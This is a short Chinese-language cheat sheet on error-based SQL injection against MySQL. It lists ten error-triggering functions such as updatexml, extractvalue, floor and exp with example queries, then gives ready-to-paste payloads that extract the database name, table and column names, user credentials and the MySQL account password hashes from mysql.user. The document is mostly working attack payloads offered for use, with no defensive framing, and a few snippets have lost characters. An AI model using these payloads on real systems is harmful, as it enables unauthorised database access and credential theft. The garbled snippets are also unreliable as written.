报错注入：利用sql语句的不规范，获取相关sql提示信息

代码展示

常用的报错语句

select first_name, last_name FROM users where user_id = ‘1’ and info() –
#获取当前使用的库
1’ and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) – 或version() 、database()
#获取数据库敏感信息
1.floor()
select * from test where id=1 and (select 1 from (select
count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by
x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select *
from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select
user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select
user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select
user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select
user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select
user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

1.获取数据库名称

1' and info() -- 

2.获取mysql账号密码

1' and updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1) -- 
1' and updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1) -- 

因为一条只能显示32字符，所以两段拼接则为mysql密码

3.获取表名

1'and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- 

4.获取字段名

1'and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --

5.获取账号密码

1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --
